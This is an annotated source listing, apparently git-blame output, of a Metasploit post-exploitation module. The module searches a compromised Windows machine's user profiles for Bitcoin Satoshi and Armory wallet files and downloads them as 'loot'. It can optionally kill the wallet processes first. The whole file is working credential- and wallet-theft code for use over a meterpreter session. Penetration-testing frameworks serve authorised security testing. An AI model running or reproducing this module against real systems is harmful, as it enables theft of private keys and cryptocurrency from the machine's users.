2011-06-21 03:26:07 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-06-21 03:26:07 +00:00
|
|
|
##
|
|
|
|
|
|
2012-10-23 13:24:05 -05:00
|
|
|
require 'msf/core/auxiliary/report'
|
2011-06-21 03:26:07 +00:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2013-08-30 16:28:54 -05:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
include Msf::Post::File
|
2011-06-21 03:26:07 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
def initialize(info={})
|
|
|
|
|
super( update_info( info,
|
2013-12-29 10:15:48 -06:00
|
|
|
'Name' => 'Windows Gather Bitcoin Wallet',
|
2013-08-30 16:28:54 -05:00
|
|
|
'Description' => %q{
|
2013-12-29 13:07:43 -06:00
|
|
|
This module downloads any Bitcoin wallet files from the target
|
|
|
|
|
system. It currently supports both the classic Satoshi wallet and the
|
|
|
|
|
more recent Armory wallets. Note that Satoshi wallets tend to be
|
|
|
|
|
unencrypted by default, while Armory wallets tend to be encrypted by default.
|
2013-08-30 16:28:54 -05:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2013-12-29 13:07:43 -06:00
|
|
|
'Author' => [
|
|
|
|
|
'illwill <illwill[at]illmob.org>', # Original implementation
|
2013-12-30 11:45:52 -06:00
|
|
|
'todb' # Added Armory support
|
2013-12-29 13:07:43 -06:00
|
|
|
],
|
|
|
|
|
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
|
2013-08-30 16:28:54 -05:00
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
|
))
|
2013-12-29 13:07:43 -06:00
|
|
|
|
|
|
|
|
register_options([
|
2013-12-29 14:12:00 -06:00
|
|
|
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
2011-06-21 03:26:07 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
def run
|
2013-12-29 13:07:43 -06:00
|
|
|
print_status("Checking all user profiles for Bitcoin wallets...")
|
|
|
|
|
found_wallets = false
|
2013-08-30 16:28:54 -05:00
|
|
|
grab_user_profiles().each do |user|
|
2013-12-28 18:57:04 -06:00
|
|
|
next unless user['AppData']
|
2013-12-29 10:15:48 -06:00
|
|
|
bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
|
2013-12-29 10:59:15 -06:00
|
|
|
next unless file?(bitcoin_wallet_path)
|
2013-12-29 13:07:43 -06:00
|
|
|
found_wallets = true
|
|
|
|
|
jack_wallet(bitcoin_wallet_path)
|
|
|
|
|
armory_wallet_path = user['AppData'] + "\\Armory"
|
|
|
|
|
session.fs.dir.foreach(armory_wallet_path) do |fname|
|
|
|
|
|
next unless fname =~ /\.wallet/
|
|
|
|
|
found_wallets = true
|
|
|
|
|
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
|
|
|
|
|
jack_wallet(armory_wallet_fullpath)
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
unless found_wallets
|
|
|
|
|
print_warning "No wallets found, nothing to do."
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
|
|
|
|
end
|
2011-06-21 03:26:07 +00:00
|
|
|
|
2013-12-29 13:07:43 -06:00
|
|
|
def jack_wallet(wallet_path)
|
2013-12-29 10:59:15 -06:00
|
|
|
data = ""
|
2013-12-29 13:07:43 -06:00
|
|
|
wallet_type = case wallet_path
|
|
|
|
|
when /\.wallet$/
|
|
|
|
|
:armory
|
|
|
|
|
when /wallet\.dat$/
|
|
|
|
|
:satoshi
|
|
|
|
|
else
|
|
|
|
|
:unknown
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if wallet_type == :unknown
|
|
|
|
|
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
|
|
|
|
|
print_status("Jackin' wallet...")
|
2011-11-06 22:02:26 +00:00
|
|
|
|
2013-12-29 13:07:43 -06:00
|
|
|
kill_bitcoin_processes if datastore['KILL_PROCESSES']
|
2011-11-06 22:02:26 +00:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
begin
|
2013-12-29 10:15:48 -06:00
|
|
|
data = read_file(wallet_path) || ''
|
2013-08-30 16:28:54 -05:00
|
|
|
rescue ::Exception => e
|
2013-12-29 10:15:48 -06:00
|
|
|
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
|
2013-08-30 16:28:54 -05:00
|
|
|
return
|
|
|
|
|
end
|
2013-07-03 11:30:05 -05:00
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
if data.empty?
|
2013-12-29 13:07:43 -06:00
|
|
|
print_error("No data found, nothing to save.")
|
2013-08-30 16:28:54 -05:00
|
|
|
else
|
2013-12-29 10:15:48 -06:00
|
|
|
loot_result = store_loot(
|
2013-12-29 13:07:43 -06:00
|
|
|
"bitcoin.wallet.#{wallet_type}",
|
2013-08-30 16:28:54 -05:00
|
|
|
"application/octet-stream",
|
|
|
|
|
session,
|
|
|
|
|
data,
|
2013-12-29 10:15:48 -06:00
|
|
|
wallet_path,
|
2013-12-29 13:07:43 -06:00
|
|
|
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
|
2013-08-30 16:28:54 -05:00
|
|
|
)
|
2013-12-29 10:15:48 -06:00
|
|
|
print_status("Wallet jacked: #{loot_result}")
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
|
|
|
|
end
|
2011-06-21 03:26:07 +00:00
|
|
|
|
2013-12-29 13:07:43 -06:00
|
|
|
def kill_bitcoin_processes
|
2013-12-28 18:57:04 -06:00
|
|
|
client.sys.process.get_processes().each do |process|
|
2013-12-29 10:59:15 -06:00
|
|
|
pname = process['name'].downcase
|
2013-12-29 13:07:43 -06:00
|
|
|
if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
|
2013-12-28 18:57:04 -06:00
|
|
|
print_status("#{process['name']} Process Found...")
|
|
|
|
|
print_status("Killing Process ID #{process['pid']}...")
|
2013-12-29 13:07:43 -06:00
|
|
|
session.sys.process.kill(process['pid'])
|
2013-08-30 16:28:54 -05:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
end
|
2011-06-21 03:26:07 +00:00
|
|
|
end
|